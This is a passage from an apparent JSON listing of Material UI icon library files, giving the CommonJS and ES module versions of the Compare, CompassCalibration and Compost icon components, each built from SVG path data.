    "path": "packages/mui-icons-material/lib/CompareArrowsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.01 14H2v2h7.01v3L13 15l-3.99-4zm5.98-1v-3H22V8h-7.01V5L11 9z\"\n}), 'CompareArrowsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareArrowsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.01 14H3c-.55 0-1 .45-1 1s.45 1 1 1h6.01v1.79c0 .45.54.67.85.35l2.78-2.79c.19-.2.19-.51 0-.71l-2.78-2.79c-.31-.32-.85-.09-.85.35zm5.98-2.21V10H21c.55 0 1-.45 1-1s-.45-1-1-1h-6.01V6.21c0-.45-.54-.67-.85-.35l-2.78 2.79c-.19.2-.19.51 0 .71l2.78 2.79c.31.31.85.09.85-.36\"\n}), 'CompareArrowsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareArrowsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.01 14H3c-.55 0-1 .45-1 1s.45 1 1 1h6.01v1.79c0 .45.54.67.85.35l2.78-2.79c.19-.2.19-.51 0-.71l-2.78-2.79c-.31-.32-.85-.09-.85.35zm5.98-2.21V10H21c.55 0 1-.45 1-1s-.45-1-1-1h-6.01V6.21c0-.45-.54-.67-.85-.35l-2.78 2.79c-.19.2-.19.51 0 .71l2.78 2.79c.31.31.85.09.85-.36\"\n}), 'CompareArrowsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareArrowsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.01 14H2v2h7.01v3L13 15l-3.99-4zm5.98-1v-3H22V8h-7.01V5L11 9z\"\n}), 'CompareArrowsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareArrowsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.01 14H2v2h7.01v3L13 15l-3.99-4zm5.98-1v-3H22V8h-7.01V5L11 9z\"\n}), 'CompareArrowsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareArrowsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.01 14H2v2h7.01v3L13 15l-3.99-4zm5.98-1v-3H22V8h-7.01V5L11 9z\"\n}), 'CompareArrowsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareArrowsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.01 14H2v2h7.01v3L13 15l-3.99-4zm5.98-1v-3H22V8h-7.01V5L11 9z\"\n}), 'CompareArrowsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v2h2V1h-2zm0 15H5l5-6zm9-15h-5v2h5v13l-5-6v9h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CompareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v2h2V1h-2zm0 15H5l5-6zm9-15h-5v2h5v13l-5-6v9h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CompareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1zm0 15H5l5-6zm9-15h-5v2h4c.55 0 1 .45 1 1v12l-5-6v9h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CompareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1s-1 .45-1 1zm0 15H5l5-6zm9-15h-5v2h4c.55 0 1 .45 1 1v12l-5-6v9h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CompareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 3H3v18h7v2h2V1h-2zm0 15H5l5-6zM21 3h-7v2h5v13l-5-6v9h7z\"\n}), 'CompareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 3H3v18h7v2h2V1h-2zm0 15H5l5-6zM21 3h-7v2h5v13l-5-6v9h7z\"\n}), 'CompareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5h-5v7l5 6zm-9 13v-6l-5 6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-5v2h5v13l-5-6v9h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-2h-2v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v2h2zm-2 17H5l5-6z\"\n}, \"1\")], 'CompareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5h-5v7l5 6zm-9 13v-6l-5 6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-5v2h5v13l-5-6v9h5c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-2h-2v2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v2h2zm-2 17H5l5-6z\"\n}, \"1\")], 'CompareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibration.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10.07c1.95 0 3.72.79 5 2.07l5-5C19.44 4.59 15.9 3 12 3S4.56 4.59 2 7.15l5 5c1.28-1.28 3.05-2.08 5-2.08\"\n}, \"1\")], 'CompassCalibration');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibration.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10.07c1.95 0 3.72.79 5 2.07l5-5C19.44 4.59 15.9 3 12 3S4.56 4.59 2 7.15l5 5c1.28-1.28 3.05-2.08 5-2.08\"\n}, \"1\")], 'CompassCalibration');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibrationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3m0-17C8.1 3 4.56 4.59 2 7.15l5 5c1.28-1.28 3.05-2.08 5-2.08s3.72.79 5 2.07l5-5C19.44 4.59 15.9 3 12 3m4.84 6.47c-1.44-.91-3.1-1.4-4.84-1.4s-3.41.49-4.85 1.41L4.94 7.26C6.99 5.79 9.44 5 12 5s5 .79 7.05 2.26z\"\n}), 'CompassCalibrationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibrationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3m0-17C8.1 3 4.56 4.59 2 7.15l5 5c1.28-1.28 3.05-2.08 5-2.08s3.72.79 5 2.07l5-5C19.44 4.59 15.9 3 12 3m4.84 6.47c-1.44-.91-3.1-1.4-4.84-1.4s-3.41.49-4.85 1.41L4.94 7.26C6.99 5.79 9.44 5 12 5s5 .79 7.05 2.26z\"\n}), 'CompassCalibrationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibrationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C8.49 3 5.28 4.29 2.8 6.41c-.44.38-.48 1.06-.06 1.48l3.6 3.6c.36.36.92.39 1.32.08 1.2-.94 2.71-1.5 4.34-1.5 1.64 0 3.14.56 4.34 1.49.4.31.96.28 1.31-.08l3.6-3.6c.42-.42.38-1.1-.07-1.48C18.72 4.28 15.51 3 12 3\"\n}, \"1\")], 'CompassCalibrationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibrationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C8.49 3 5.28 4.29 2.8 6.41c-.44.38-.48 1.06-.06 1.48l3.6 3.6c.36.36.92.39 1.32.08 1.2-.94 2.71-1.5 4.34-1.5 1.64 0 3.14.56 4.34 1.49.4.31.96.28 1.31-.08l3.6-3.6c.42-.42.38-1.1-.07-1.48C18.72 4.28 15.51 3 12 3\"\n}, \"1\")], 'CompassCalibrationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibrationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C8.1 3 4.56 4.59 2 7.15l5 5c1.28-1.28 3.05-2.08 5-2.08s3.72.79 5 2.07l5-5C19.44 4.59 15.9 3 12 3\"\n}, \"1\")], 'CompassCalibrationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibrationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C8.1 3 4.56 4.59 2 7.15l5 5c1.28-1.28 3.05-2.08 5-2.08s3.72.79 5 2.07l5-5C19.44 4.59 15.9 3 12 3\"\n}, \"1\")], 'CompassCalibrationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibrationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.94 7.26 2.21 2.21c1.44-.91 3.11-1.4 4.85-1.4s3.41.49 4.84 1.4l2.21-2.21C17 5.79 14.56 5 12 5s-5.01.79-7.06 2.26\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 17c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-8 0c0-1.65 1.35-3 3-3s3 1.35 3 3-1.35 3-3 3-3-1.35-3-3M2 7.15l5 5c1.28-1.28 3.05-2.08 5-2.08s3.72.79 5 2.07l5-5C19.44 4.59 15.9 3 12 3S4.56 4.59 2 7.15m14.84 2.32c-1.44-.91-3.1-1.4-4.84-1.4s-3.41.49-4.85 1.41L4.94 7.26C6.99 5.79 9.44 5 12 5s5 .79 7.05 2.26z\"\n}, \"2\")], 'CompassCalibrationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompassCalibrationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.94 7.26 2.21 2.21c1.44-.91 3.11-1.4 4.85-1.4s3.41.49 4.84 1.4l2.21-2.21C17 5.79 14.56 5 12 5s-5.01.79-7.06 2.26\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 17c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-8 0c0-1.65 1.35-3 3-3s3 1.35 3 3-1.35 3-3 3-3-1.35-3-3M2 7.15l5 5c1.28-1.28 3.05-2.08 5-2.08s3.72.79 5 2.07l5-5C19.44 4.59 15.9 3 12 3S4.56 4.59 2 7.15m14.84 2.32c-1.44-.91-3.1-1.4-4.84-1.4s-3.41.49-4.85 1.41L4.94 7.26C6.99 5.79 9.44 5 12 5s5 .79 7.05 2.26z\"\n}, \"2\")], 'CompassCalibrationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Compost.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.87 11.81c-.23-.38-.37-.83-.37-1.31C12.5 9.12 13.62 8 15 8h1c1.51 0 2-1 2-1s.55 6-3 6c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.69-1.17 2.81-3.13 2.81-5.35h3c0 5.24-4.26 9.5-9.5 9.5S2.5 17.24 2.5 12 6.76 2.5 12 2.5V0l4 4-4 4V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.35.3-.8.48-1.3.48-1.1 0-2-.9-2-2v-.99c0-.56-.19-1.09-.5-1.51 0 0 4.45-.23 4.5 2.5 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81\"\n}), 'Compost');"
  },
  {
    "path": "packages/mui-icons-material/lib/Compost.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.87 11.81c-.23-.38-.37-.83-.37-1.31C12.5 9.12 13.62 8 15 8h1c1.51 0 2-1 2-1s.55 6-3 6c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.69-1.17 2.81-3.13 2.81-5.35h3c0 5.24-4.26 9.5-9.5 9.5S2.5 17.24 2.5 12 6.76 2.5 12 2.5V0l4 4-4 4V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.35.3-.8.48-1.3.48-1.1 0-2-.9-2-2v-.99c0-.56-.19-1.09-.5-1.51 0 0 4.45-.23 4.5 2.5 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81\"\n}), 'Compost');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompostOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.87 11.81c-.23-.38-.37-.83-.37-1.31C12.5 9.12 13.62 8 15 8h1c1.51 0 2-1 2-1s.55 6-3 6c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.69-1.17 2.81-3.13 2.81-5.35h3c0 5.24-4.26 9.5-9.5 9.5S2.5 17.24 2.5 12 6.76 2.5 12 2.5V0l4 4-4 4V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.35.3-.8.48-1.3.48-1.1 0-2-.9-2-2v-.99c0-.56-.19-1.09-.5-1.51 0 0 4.45-.23 4.5 2.5 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81\"\n}), 'CompostOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompostOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.87 11.81c-.23-.38-.37-.83-.37-1.31C12.5 9.12 13.62 8 15 8h1c1.51 0 2-1 2-1s.55 6-3 6c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.69-1.17 2.81-3.13 2.81-5.35h3c0 5.24-4.26 9.5-9.5 9.5S2.5 17.24 2.5 12 6.76 2.5 12 2.5V0l4 4-4 4V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.35.3-.8.48-1.3.48-1.1 0-2-.9-2-2v-.99c0-.56-.19-1.09-.5-1.51 0 0 4.45-.23 4.5 2.5 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81\"\n}), 'CompostOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompostRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.73 21.5c-4.95-.14-9.08-4.27-9.22-9.22C2.35 6.91 6.67 2.5 12 2.5V1.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.33.28-.75.46-1.22.48-1.14.05-2.08-.99-2.08-2.13v-.86c0-.29-.05-.57-.14-.83-.12-.34.14-.69.5-.66 1.3.09 3.6.52 3.64 2.48 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81-.26-.42-.4-.93-.36-1.47C12.59 9 13.79 8 15.13 8H16c.56 0 .97-.14 1.28-.31.34-.19.76.05.75.44C17.99 9.87 17.56 13 15 13c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.57-1.09 2.64-2.85 2.79-4.87.02-.26.23-.48.5-.48h1.82c.47 0 .71.24.69.52-.28 5.09-4.58 9.12-9.76 8.98\"\n}), 'CompostRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompostRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.73 21.5c-4.95-.14-9.08-4.27-9.22-9.22C2.35 6.91 6.67 2.5 12 2.5V1.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.33.28-.75.46-1.22.48-1.14.05-2.08-.99-2.08-2.13v-.86c0-.29-.05-.57-.14-.83-.12-.34.14-.69.5-.66 1.3.09 3.6.52 3.64 2.48 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81-.26-.42-.4-.93-.36-1.47C12.59 9 13.79 8 15.13 8H16c.56 0 .97-.14 1.28-.31.34-.19.76.05.75.44C17.99 9.87 17.56 13 15 13c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.57-1.09 2.64-2.85 2.79-4.87.02-.26.23-.48.5-.48h1.82c.47 0 .71.24.69.52-.28 5.09-4.58 9.12-9.76 8.98\"\n}), 'CompostRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompostSharp.js",
